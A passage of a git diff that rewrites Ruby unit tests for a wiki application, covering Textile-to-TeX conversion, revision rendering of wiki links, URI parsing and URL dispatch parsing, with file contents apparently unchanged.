Page*").to_tex - assert_equal '{\em First Page}', RedClothForTex.new("_First Page_").to_tex - assert_equal "\\begin{itemize}\n\t\\item A\n\t\t\\item B\n\t\t\\item C\n\t\\end{itemize}", RedClothForTex.new("* A\n* B\n* C").to_tex - end - - def test_blocks - assert_equal '\section*{hello}', RedClothForTex.new("h1. hello").to_tex - assert_equal '\subsection*{hello}', RedClothForTex.new("h2. hello").to_tex - end - - def test_table_of_contents - -source = < 'Abe', 'B' => 'Babe')) - end - - def test_entities - assert_equal "Beck \\& Fowler are 100\\% cool", RedClothForTex.new("Beck & Fowler are 100% cool").to_tex - end - - def test_bracket_links - assert_equal "such a Horrible Day, but I won't be Made Useless", RedClothForTex.new("such a [[Horrible Day]], but I won't be [[Made Useless]]").to_tex - end - - def test_footnotes_on_abbreviations - assert_equal( - "such a Horrible Day\\footnote{1}, but I won't be Made Useless", - RedClothForTex.new("such a [[Horrible Day]][1], but I won't be [[Made Useless]]").to_tex - ) - end - - def test_subsection_depth - assert_equal "\\subsubsection*{Hello}", RedClothForTex.new("h4. Hello").to_tex - end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'redcloth_for_tex' + +class RedClothForTexTest < Test::Unit::TestCase + def test_basics + assert_equal '{\bf First Page}', RedClothForTex.new("*First Page*").to_tex + assert_equal '{\em First Page}', RedClothForTex.new("_First Page_").to_tex + assert_equal "\\begin{itemize}\n\t\\item A\n\t\t\\item B\n\t\t\\item C\n\t\\end{itemize}", RedClothForTex.new("* A\n* B\n* C").to_tex + end + + def test_blocks + assert_equal '\section*{hello}', RedClothForTex.new("h1. hello").to_tex + assert_equal '\subsection*{hello}', RedClothForTex.new("h2. hello").to_tex + end + + def test_table_of_contents + +source = < 'Abe', 'B' => 'Babe')) + end + + def test_entities + assert_equal "Beck \\& Fowler are 100\\% cool", RedClothForTex.new("Beck & Fowler are 100% cool").to_tex + end + + def test_bracket_links + assert_equal "such a Horrible Day, but I won't be Made Useless", RedClothForTex.new("such a [[Horrible Day]], but I won't be [[Made Useless]]").to_tex + end + + def test_footnotes_on_abbreviations + assert_equal( + "such a Horrible Day\\footnote{1}, but I won't be Made Useless", + RedClothForTex.new("such a [[Horrible Day]][1], but I won't be [[Made Useless]]").to_tex + ) + end + + def test_subsection_depth + assert_equal "\\subsubsection*{Hello}", RedClothForTex.new("h4. Hello").to_tex + end end \ No newline at end of file diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index db2a3302..4d4a0f71 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -1,255 +1,255 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'web' -require 'revision' -require 'fileutils' - -class RevisionTest < Test::Unit::TestCase - - def setup - setup_test_wiki - @web.markup = :textile - - @page = @wiki.read_page('wiki1', 'HomePage') - ['MyWay', 'SmartEngine', 'ThatWay'].each do |page| - @wiki.write_page('wiki1', page, page, Time.now, 'Me') - end - - @revision = Revision.new(@page, 1, - 'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \OverThere -- ' + - 'see SmartEngine in that SmartEngineGUI', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - end - - def test_wiki_words - assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), @revision.wiki_words.sort - end - - def test_existing_pages - assert_equal %w( MyWay SmartEngine ThatWay ), @revision.existing_pages.sort - end - - def test_unexisting_pages - assert_equal %w( HisWay SmartEngineGUI ), @revision.unexisting_pages.sort - end - - def test_content_with_wiki_links - assert_equal '

            His Way? ' + - 'would be My Way in kinda ' + - 'That Way in ' + - 'His Way? ' + - 'though My Way OverThere—see ' + - 'Smart Engine in that ' + - 'Smart Engine GUI' + - '?

            ', - @revision.display_content - end - - def test_bluecloth - @web.markup = :markdown - - assert_markup_parsed_as( - %{

            My Headline

            \n\n

            that } + - %{Smart Engine GUI?

            }, - "My Headline\n===========\n\n that SmartEngineGUI") - - code_block = [ - 'This is a code block:', - '', - ' def a_method(arg)', - ' return ThatWay', - '', - 'Nice!' - ].join("\n") - - assert_markup_parsed_as( - %{

            This is a code block:

            \n\n
            def a_method(arg)\n} +
            -	    %{return ThatWay\n
            \n\n

            Nice!

            }, - code_block) - end - - def test_rdoc - @web.markup = :rdoc - - @revision = Revision.new(@page, 1, '+hello+ that SmartEngineGUI', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - - assert_equal "hello that Smart Engine GUI" + - "?\n\n", @revision.display_content - end - - def test_content_with_auto_links - assert_markup_parsed_as( - '

            http://www.loudthinking.com/ ' + - 'points to That Way from ' + - 'david@loudthinking.com

            ', - 'http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com') - - end - - def test_content_with_aliased_links - assert_markup_parsed_as( - '

            Would a clever motor' + - ' go by any other name?

            ', - 'Would a [[SmartEngine|clever motor]] go by any other name?') - end - - def test_content_with_wikiword_in_em - assert_markup_parsed_as( - '

            should we go ' + - 'That Way or This Way?' + - '

            ', - '_should we go ThatWay or ThisWay _') - end - - def test_content_with_wikiword_in_tag - assert_markup_parsed_as( - '

            That is some Stylish Emphasis

            ', - 'That is some Stylish Emphasis') - end - - def test_content_with_escaped_wikiword - # there should be no wiki link - assert_markup_parsed_as('

            WikiWord

            ', '\WikiWord') - end - - def test_content_with_pre_blocks - assert_markup_parsed_as( - 'A class SmartEngine end would not mark up
            CodeBlocks
            ', - 'A class SmartEngine end would not mark up
            CodeBlocks
            ') - end - - def test_content_with_autolink_in_parentheses - assert_markup_parsed_as( - '

            The W3C body (' + - 'http://www.w3c.org) sets web standards

            ', - 'The W3C body (http://www.w3c.org) sets web standards') - end - - def test_content_with_link_in_parentheses - assert_markup_parsed_as( - '

            (What is a wiki?)

            ', - '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki)') - end - - def test_content_with_image_link - assert_markup_parsed_as( - '

            This is a Textile image link.

            ', - 'This !http://hobix.com/sample.jpg! is a Textile image link.') - end - - def test_content_with_nowiki_text - assert_markup_parsed_as( - '

            Do not mark up [[this text]] or http://www.thislink.com.

            ', - 'Do not mark up [[this text]] ' + - 'or http://www.thislink.com.') - end - - def test_content_with_bracketted_wiki_word - @web.brackets_only = true - assert_markup_parsed_as( - '

            This is a WikiWord and a tricky name ' + - 'Sperberg-McQueen?.

            ', - 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].') - end - - def test_content_for_export - assert_equal '

            His Way would be ' + - 'My Way in kinda ' + - 'That Way in ' + - 'His Way though ' + - 'My Way OverThere—see ' + - 'Smart Engine in that ' + - 'Smart Engine GUI

            ', - @revision.display_content_for_export - end - - def test_double_replacing - @revision.content = "VersionHistory\r\n\r\ncry VersionHistory" - assert_equal '

            Version History' + - "?

            \n\n\t

            cry " + - 'Version History?' + - '

            ', - @revision.display_content - - @revision.clear_display_cache - - @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" - assert_equal "

            f
            \nVersion History" + - "?

            \n\n\t

            cry " + - "Version History?" + - "

            ", - @revision.display_content - end - - def test_difficult_wiki_words - @revision.content = "[[It's just awesome GUI!]]" - assert_equal "

            It's just awesome GUI!" + - "?

            ", - @revision.display_content - end - - def test_revisions_diff - - @page.revisions = [ - Revision.new(@page, 0, 'What a blue and lovely morning', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson'), - Revision.new(@page, 1, 'What a red and lovely morning today', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - ] - - assert_equal "

            What a blue red " + - "and lovely morningmorning " + - "today

            ", @page.revisions.last.display_diff - end - - def test_link_to_file - assert_markup_parsed_as( - '

            doc.pdf?

            ', - '[[doc.pdf:file]]') - end - - def test_link_to_pic - @wiki.file_yard(@web).upload_file('square.jpg', StringIO.new('')) - assert_markup_parsed_as( - '

            Square

            ', - '[[square.jpg|Square:pic]]') - assert_markup_parsed_as( - '

            square.jpg

            ', - '[[square.jpg:pic]]') - end - - def test_link_to_non_existant_pic - assert_markup_parsed_as( - '

            NonExistant?' + - '

            ', - '[[NonExistant.jpg|NonExistant:pic]]') - assert_markup_parsed_as( - '

            NonExistant.jpg?' + - '

            ', - '[[NonExistant.jpg:pic]]') - end - - # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; - # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) - def __test_list_with_tildas - list_with_tildas = <<-EOL - * "a":~b - * c~ d - EOL - - assert_markup_parsed_as( - "
          • a
          • \n" + - "
          • c~ d
          • \n", - list_with_tildas) - end - - - - def assert_markup_parsed_as(expected_output, input) - revision = Revision.new(@page, 1, input, Time.local(2004, 4, 4, 16, 50), 'AnAuthor') - assert_equal expected_output, revision.display_content, 'Textile output not as expected' - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'web' +require 'revision' +require 'fileutils' + +class RevisionTest < Test::Unit::TestCase + + def setup + setup_test_wiki + @web.markup = :textile + + @page = @wiki.read_page('wiki1', 'HomePage') + ['MyWay', 'SmartEngine', 'ThatWay'].each do |page| + @wiki.write_page('wiki1', page, page, Time.now, 'Me') + end + + @revision = Revision.new(@page, 1, + 'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \OverThere -- ' + + 'see SmartEngine in that SmartEngineGUI', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + end + + def test_wiki_words + assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), @revision.wiki_words.sort + end + + def test_existing_pages + assert_equal %w( MyWay SmartEngine ThatWay ), @revision.existing_pages.sort + end + + def test_unexisting_pages + assert_equal %w( HisWay SmartEngineGUI ), @revision.unexisting_pages.sort + end + + def test_content_with_wiki_links + assert_equal '

            His Way? ' + + 'would be My Way in kinda ' + + 'That Way in ' + + 'His Way? ' + + 'though My Way OverThere—see ' + + 'Smart Engine in that ' + + 'Smart Engine GUI' + + '?

            ', + @revision.display_content + end + + def test_bluecloth + @web.markup = :markdown + + assert_markup_parsed_as( + %{

            My Headline

            \n\n

            that } + + %{Smart Engine GUI?

            }, + "My Headline\n===========\n\n that SmartEngineGUI") + + code_block = [ + 'This is a code block:', + '', + ' def a_method(arg)', + ' return ThatWay', + '', + 'Nice!' + ].join("\n") + + assert_markup_parsed_as( + %{

            This is a code block:

            \n\n
            def a_method(arg)\n} +
            +	    %{return ThatWay\n
            \n\n

            Nice!

            }, + code_block) + end + + def test_rdoc + @web.markup = :rdoc + + @revision = Revision.new(@page, 1, '+hello+ that SmartEngineGUI', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + + assert_equal "hello that Smart Engine GUI" + + "?\n\n", @revision.display_content + end + + def test_content_with_auto_links + assert_markup_parsed_as( + '

            http://www.loudthinking.com/ ' + + 'points to That Way from ' + + 'david@loudthinking.com

            ', + 'http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com') + + end + + def test_content_with_aliased_links + assert_markup_parsed_as( + '

            Would a clever motor' + + ' go by any other name?

            ', + 'Would a [[SmartEngine|clever motor]] go by any other name?') + end + + def test_content_with_wikiword_in_em + assert_markup_parsed_as( + '

            should we go ' + + 'That Way or This Way?' + + '

            ', + '_should we go ThatWay or ThisWay _') + end + + def test_content_with_wikiword_in_tag + assert_markup_parsed_as( + '

            That is some Stylish Emphasis

            ', + 'That is some Stylish Emphasis') + end + + def test_content_with_escaped_wikiword + # there should be no wiki link + assert_markup_parsed_as('

            WikiWord

            ', '\WikiWord') + end + + def test_content_with_pre_blocks + assert_markup_parsed_as( + 'A class SmartEngine end would not mark up
            CodeBlocks
            ', + 'A class SmartEngine end would not mark up
            CodeBlocks
            ') + end + + def test_content_with_autolink_in_parentheses + assert_markup_parsed_as( + '

            The W3C body (' + + 'http://www.w3c.org) sets web standards

            ', + 'The W3C body (http://www.w3c.org) sets web standards') + end + + def test_content_with_link_in_parentheses + assert_markup_parsed_as( + '

            (What is a wiki?)

            ', + '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki)') + end + + def test_content_with_image_link + assert_markup_parsed_as( + '

            This is a Textile image link.

            ', + 'This !http://hobix.com/sample.jpg! is a Textile image link.') + end + + def test_content_with_nowiki_text + assert_markup_parsed_as( + '

            Do not mark up [[this text]] or http://www.thislink.com.

            ', + 'Do not mark up [[this text]] ' + + 'or http://www.thislink.com.') + end + + def test_content_with_bracketted_wiki_word + @web.brackets_only = true + assert_markup_parsed_as( + '

            This is a WikiWord and a tricky name ' + + 'Sperberg-McQueen?.

            ', + 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].') + end + + def test_content_for_export + assert_equal '

            His Way would be ' + + 'My Way in kinda ' + + 'That Way in ' + + 'His Way though ' + + 'My Way OverThere—see ' + + 'Smart Engine in that ' + + 'Smart Engine GUI

            ', + @revision.display_content_for_export + end + + def test_double_replacing + @revision.content = "VersionHistory\r\n\r\ncry VersionHistory" + assert_equal '

            Version History' + + "?

            \n\n\t

            cry " + + 'Version History?' + + '

            ', + @revision.display_content + + @revision.clear_display_cache + + @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" + assert_equal "

            f
            \nVersion History" + + "?

            \n\n\t

            cry " + + "Version History?" + + "

            ", + @revision.display_content + end + + def test_difficult_wiki_words + @revision.content = "[[It's just awesome GUI!]]" + assert_equal "

            It's just awesome GUI!" + + "?

            ", + @revision.display_content + end + + def test_revisions_diff + + @page.revisions = [ + Revision.new(@page, 0, 'What a blue and lovely morning', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson'), + Revision.new(@page, 1, 'What a red and lovely morning today', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + ] + + assert_equal "

            What a blue red " + + "and lovely morningmorning " + + "today

            ", @page.revisions.last.display_diff + end + + def test_link_to_file + assert_markup_parsed_as( + '

            doc.pdf?

            ', + '[[doc.pdf:file]]') + end + + def test_link_to_pic + @wiki.file_yard(@web).upload_file('square.jpg', StringIO.new('')) + assert_markup_parsed_as( + '

            Square

            ', + '[[square.jpg|Square:pic]]') + assert_markup_parsed_as( + '

            square.jpg

            ', + '[[square.jpg:pic]]') + end + + def test_link_to_non_existant_pic + assert_markup_parsed_as( + '

            NonExistant?' + + '

            ', + '[[NonExistant.jpg|NonExistant:pic]]') + assert_markup_parsed_as( + '

            NonExistant.jpg?' + + '

            ', + '[[NonExistant.jpg:pic]]') + end + + # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; + # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) + def __test_list_with_tildas + list_with_tildas = <<-EOL + * "a":~b + * c~ d + EOL + + assert_markup_parsed_as( + "
          • a
          • \n" + + "
          • c~ d
          • \n", + list_with_tildas) + end + + + + def assert_markup_parsed_as(expected_output, input) + revision = Revision.new(@page, 1, input, Time.local(2004, 4, 4, 16, 50), 'AnAuthor') + assert_equal expected_output, revision.display_content, 'Textile output not as expected' + end + +end diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index 2c6ab76c..b1df875f 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -1,179 +1,179 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'chunks/uri' - -class URITest < Test::Unit::TestCase - include ChunkMatch - - def test_non_matches - assert_conversion_does_not_apply(URIChunk, 'There is no URI here') - assert_conversion_does_not_apply(URIChunk, - 'One gemstone is the garnet:reddish in colour, like ruby') - end - - def test_simple_uri - # Simplest case - match(URIChunk, 'http://www.example.com', - :scheme =>'http', :host =>'www.example.com', :path => nil, - :link_text => 'http://www.example.com' - ) - # With trailing slash - match(URIChunk, 'http://www.example.com/', - :scheme =>'http', :host =>'www.example.com', :path => '/', - :link_text => 'http://www.example.com/' - ) - # Without http:// - match(URIChunk, 'www.example.com', - :scheme =>'http', :host =>'www.example.com', :link_text => 'www.example.com' - ) - # two parts - match(URIChunk, 'example.com', - :scheme =>'http',:host =>'example.com', :link_text => 'example.com' - ) - # "unusual" base domain (was a bug in an early version) - match(URIChunk, 'http://example.com.au/', - :scheme =>'http', :host =>'example.com.au', :link_text => 'http://example.com.au/' - ) - # "unusual" base domain without http:// - match(URIChunk, 'example.com.au', - :scheme =>'http', :host =>'example.com.au', :link_text => 'example.com.au' - ) - # Another "unusual" base domain - match(URIChunk, 'http://www.example.co.uk/', - :scheme =>'http', :host =>'www.example.co.uk', - :link_text => 'http://www.example.co.uk/' - ) - match(URIChunk, 'example.co.uk', - :scheme =>'http', :host =>'example.co.uk', :link_text => 'example.co.uk' - ) - # With some path at the end - match(URIChunk, 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation', - :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', - :link_text => 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation' - ) - # With some path at the end, and withot http:// prefix - match(URIChunk, 'moinmoin.wikiwikiweb.de/HelpOnNavigation', - :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', - :link_text => 'moinmoin.wikiwikiweb.de/HelpOnNavigation' - ) - # With a port number - match(URIChunk, 'http://www.example.com:80', - :scheme =>'http', :host =>'www.example.com', :port => '80', :path => nil, - :link_text => 'http://www.example.com:80') - # With a port number and a path - match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation', - :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', - :link_text => 'http://www.example.com.tw:80/HelpOnNavigation') - # With a query - match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val', - :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', - :query => 'arg=val', - :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val') - # Query with two arguments - match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2', - :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', - :query => 'arg=val&arg2=val2', - :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2') - # HTTPS - match(URIChunk, 'https://www.example.com', - :scheme =>'https', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, - :link_text => 'https://www.example.com') - # FTP - match(URIChunk, 'ftp://www.example.com', - :scheme =>'ftp', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, - :link_text => 'ftp://www.example.com') - # mailto - match(URIChunk, 'mailto:jdoe123@example.com', - :scheme =>'mailto', :host =>'example.com', :port => nil, :path => nil, :query => nil, - :user => 'jdoe123', :link_text => 'mailto:jdoe123@example.com') - # something nonexistant - match(URIChunk, 'foobar://www.example.com', - :scheme =>'foobar', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, - :link_text => 'foobar://www.example.com') - - # Soap opera (the most complex case imaginable... well, not really, there should be more evil) - match(URIChunk, 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2', - :scheme =>'http', :host =>'www.example.com.tw', :port => '80', - :path => '/~jdoe123/Help%20Me%20', :query => 'arg=val&arg2=val2', - :link_text => 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2') - end - - def test_email_uri - match(URIChunk, 'mail@example.com', - :user => 'mail', :host => 'example.com', :link_text => 'mail@example.com' - ) - end - - def test_non_email - # The @ is part of the normal text, but 'example.com' is marked up. - match(URIChunk, 'Not an email: @example.com', :user => nil, :uri => 'http://example.com') - end - - def test_non_uri - assert_conversion_does_not_apply URIChunk, 'httpd.conf' - assert_conversion_does_not_apply URIChunk, 'libproxy.so' - assert_conversion_does_not_apply URIChunk, 'ld.so.conf' - end - - def test_uri_in_text - match(URIChunk, 'Go to: http://www.example.com/', :host => 'www.example.com', :path =>'/') - match(URIChunk, 'http://www.example.com/ is a link.', :host => 'www.example.com') - match(URIChunk, - 'Email david@loudthinking.com', - :scheme =>'mailto', :user =>'david', :host =>'loudthinking.com') - # check that trailing punctuation is not included in the hostname - match(URIChunk, '"link":http://fake.link.com.', :scheme => 'http', :host => 'fake.link.com') - end - - def test_uri_in_parentheses - match(URIChunk, 'URI (http://brackets.com.de) in brackets', :host => 'brackets.com.de') - match(URIChunk, 'because (as shown at research.net) the results', :host => 'research.net') - match(URIChunk, - 'A wiki (http://wiki.org/wiki.cgi?WhatIsWiki) page', - :scheme => 'http', :host => 'wiki.org', :path => '/wiki.cgi', :query => 'WhatIsWiki' - ) - end - - def test_uri_list_item - match( - URIChunk, - '* http://www.btinternet.com/~mail2minh/SonyEricssonP80xPlatform.sis', - :path => '/~mail2minh/SonyEricssonP80xPlatform.sis' - ) - end - - def test_interesting_uri_with__comma - # Counter-intuitively, this URL matches, but the query part includes the trailing comma. - # It has no way to know that the query does not include the comma. - match( - URIChunk, - "This text contains a URL http://someplace.org:8080/~person/stuff.cgi?arg=val, doesn't it?", - :scheme => 'http', :host => 'someplace.org', :port => '8080', :path => '/~person/stuff.cgi', - :query => 'arg=val,') - end - - def test_local_urls - # normal - match(LocalURIChunk, 'http://perforce:8001/toto.html', - :scheme => 'http', :host => 'perforce', - :port => '8001', :link_text => 'http://perforce:8001/toto.html') - - # in parentheses - match(LocalURIChunk, 'URI (http://localhost:2500) in brackets', - :host => 'localhost', :port => '2500') - match(LocalURIChunk, 'because (as shown at http://perforce:8001) the results', - :host => 'perforce', :port => '8001') - match(LocalURIChunk, - 'A wiki (http://localhost:2500/wiki.cgi?WhatIsWiki) page', - :scheme => 'http', :host => 'localhost', :path => '/wiki.cgi', - :port => '2500', :query => 'WhatIsWiki') - end - - def assert_conversion_does_not_apply(chunk_type, str) - processed_str = str.dup - URIChunk.apply_to(processed_str) - assert_equal(str, processed_str) - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'chunks/uri' + +class URITest < Test::Unit::TestCase + include ChunkMatch + + def test_non_matches + assert_conversion_does_not_apply(URIChunk, 'There is no URI here') + assert_conversion_does_not_apply(URIChunk, + 'One gemstone is the garnet:reddish in colour, like ruby') + end + + def test_simple_uri + # Simplest case + match(URIChunk, 'http://www.example.com', + :scheme =>'http', :host =>'www.example.com', :path => nil, + :link_text => 'http://www.example.com' + ) + # With trailing slash + match(URIChunk, 'http://www.example.com/', + :scheme =>'http', :host =>'www.example.com', :path => '/', + :link_text => 'http://www.example.com/' + ) + # Without http:// + match(URIChunk, 'www.example.com', + :scheme =>'http', :host =>'www.example.com', :link_text => 'www.example.com' + ) + # two parts + match(URIChunk, 'example.com', + :scheme =>'http',:host =>'example.com', :link_text => 'example.com' + ) + # "unusual" base domain (was a bug in an early version) + match(URIChunk, 'http://example.com.au/', + :scheme =>'http', :host =>'example.com.au', :link_text => 'http://example.com.au/' + ) + # "unusual" base domain without http:// + match(URIChunk, 'example.com.au', + :scheme =>'http', :host =>'example.com.au', :link_text => 'example.com.au' + ) + # Another "unusual" base domain + match(URIChunk, 'http://www.example.co.uk/', + :scheme =>'http', :host =>'www.example.co.uk', + :link_text => 'http://www.example.co.uk/' + ) + match(URIChunk, 'example.co.uk', + :scheme =>'http', :host =>'example.co.uk', :link_text => 'example.co.uk' + ) + # With some path at the end + match(URIChunk, 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation', + :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', + :link_text => 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation' + ) + # With some path at the end, and withot http:// prefix + match(URIChunk, 'moinmoin.wikiwikiweb.de/HelpOnNavigation', + :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', + :link_text => 'moinmoin.wikiwikiweb.de/HelpOnNavigation' + ) + # With a port number + match(URIChunk, 'http://www.example.com:80', + :scheme =>'http', :host =>'www.example.com', :port => '80', :path => nil, + :link_text => 'http://www.example.com:80') + # With a port number and a path + match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', + :link_text => 'http://www.example.com.tw:80/HelpOnNavigation') + # With a query + match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', + :query => 'arg=val', + :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val') + # Query with two arguments + match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', + :query => 'arg=val&arg2=val2', + :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2') + # HTTPS + match(URIChunk, 'https://www.example.com', + :scheme =>'https', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'https://www.example.com') + # FTP + match(URIChunk, 'ftp://www.example.com', + :scheme =>'ftp', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'ftp://www.example.com') + # mailto + match(URIChunk, 'mailto:jdoe123@example.com', + :scheme =>'mailto', :host =>'example.com', :port => nil, :path => nil, :query => nil, + :user => 'jdoe123', :link_text => 'mailto:jdoe123@example.com') + # something nonexistant + match(URIChunk, 'foobar://www.example.com', + :scheme =>'foobar', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'foobar://www.example.com') + + # Soap opera (the most complex case imaginable... well, not really, there should be more evil) + match(URIChunk, 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', + :path => '/~jdoe123/Help%20Me%20', :query => 'arg=val&arg2=val2', + :link_text => 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2') + end + + def test_email_uri + match(URIChunk, 'mail@example.com', + :user => 'mail', :host => 'example.com', :link_text => 'mail@example.com' + ) + end + + def test_non_email + # The @ is part of the normal text, but 'example.com' is marked up. + match(URIChunk, 'Not an email: @example.com', :user => nil, :uri => 'http://example.com') + end + + def test_non_uri + assert_conversion_does_not_apply URIChunk, 'httpd.conf' + assert_conversion_does_not_apply URIChunk, 'libproxy.so' + assert_conversion_does_not_apply URIChunk, 'ld.so.conf' + end + + def test_uri_in_text + match(URIChunk, 'Go to: http://www.example.com/', :host => 'www.example.com', :path =>'/') + match(URIChunk, 'http://www.example.com/ is a link.', :host => 'www.example.com') + match(URIChunk, + 'Email david@loudthinking.com', + :scheme =>'mailto', :user =>'david', :host =>'loudthinking.com') + # check that trailing punctuation is not included in the hostname + match(URIChunk, '"link":http://fake.link.com.', :scheme => 'http', :host => 'fake.link.com') + end + + def test_uri_in_parentheses + match(URIChunk, 'URI (http://brackets.com.de) in brackets', :host => 'brackets.com.de') + match(URIChunk, 'because (as shown at research.net) the results', :host => 'research.net') + match(URIChunk, + 'A wiki (http://wiki.org/wiki.cgi?WhatIsWiki) page', + :scheme => 'http', :host => 'wiki.org', :path => '/wiki.cgi', :query => 'WhatIsWiki' + ) + end + + def test_uri_list_item + match( + URIChunk, + '* http://www.btinternet.com/~mail2minh/SonyEricssonP80xPlatform.sis', + :path => '/~mail2minh/SonyEricssonP80xPlatform.sis' + ) + end + + def test_interesting_uri_with__comma + # Counter-intuitively, this URL matches, but the query part includes the trailing comma. + # It has no way to know that the query does not include the comma. + match( + URIChunk, + "This text contains a URL http://someplace.org:8080/~person/stuff.cgi?arg=val, doesn't it?", + :scheme => 'http', :host => 'someplace.org', :port => '8080', :path => '/~person/stuff.cgi', + :query => 'arg=val,') + end + + def test_local_urls + # normal + match(LocalURIChunk, 'http://perforce:8001/toto.html', + :scheme => 'http', :host => 'perforce', + :port => '8001', :link_text => 'http://perforce:8001/toto.html') + + # in parentheses + match(LocalURIChunk, 'URI (http://localhost:2500) in brackets', + :host => 'localhost', :port => '2500') + match(LocalURIChunk, 'because (as shown at http://perforce:8001) the results', + :host => 'perforce', :port => '8001') + match(LocalURIChunk, + 'A wiki (http://localhost:2500/wiki.cgi?WhatIsWiki) page', + :scheme => 'http', :host => 'localhost', :path => '/wiki.cgi', + :port => '2500', :query => 'WhatIsWiki') + end + + def assert_conversion_does_not_apply(chunk_type, str) + processed_str = str.dup + URIChunk.apply_to(processed_str) + assert_equal(str, processed_str) + end + +end diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb index cf615727..da1317b2 100755 --- a/test/unit/url_rewriting_hack_test.rb +++ b/test/unit/url_rewriting_hack_test.rb @@ -1,92 +1,92 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'url_rewriting_hack' - -class UrlRewritingHackTest < Test::Unit::TestCase - - def test_parse_uri - assert_equal({:controller => 'wiki', :action => 'x', :web => nil}, - DispatchServlet.parse_uri('/x/')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, - DispatchServlet.parse_uri('/x/y')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, - DispatchServlet.parse_uri('/x/y/')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, - DispatchServlet.parse_uri('/x/y/z')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, - DispatchServlet.parse_uri('/x/y/z/')) - end - - def test_parse_uri_approot - assert_equal({:controller => 'wiki', :action => 'index', :web => nil}, - DispatchServlet.parse_uri('/wiki/')) - end - - def test_parse_uri_interestng_cases - - assert_equal({:web => '_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_', - :controller => 'wiki', - :action => 'an_action', :id => 'HomePage' - }, - DispatchServlet.parse_uri( - 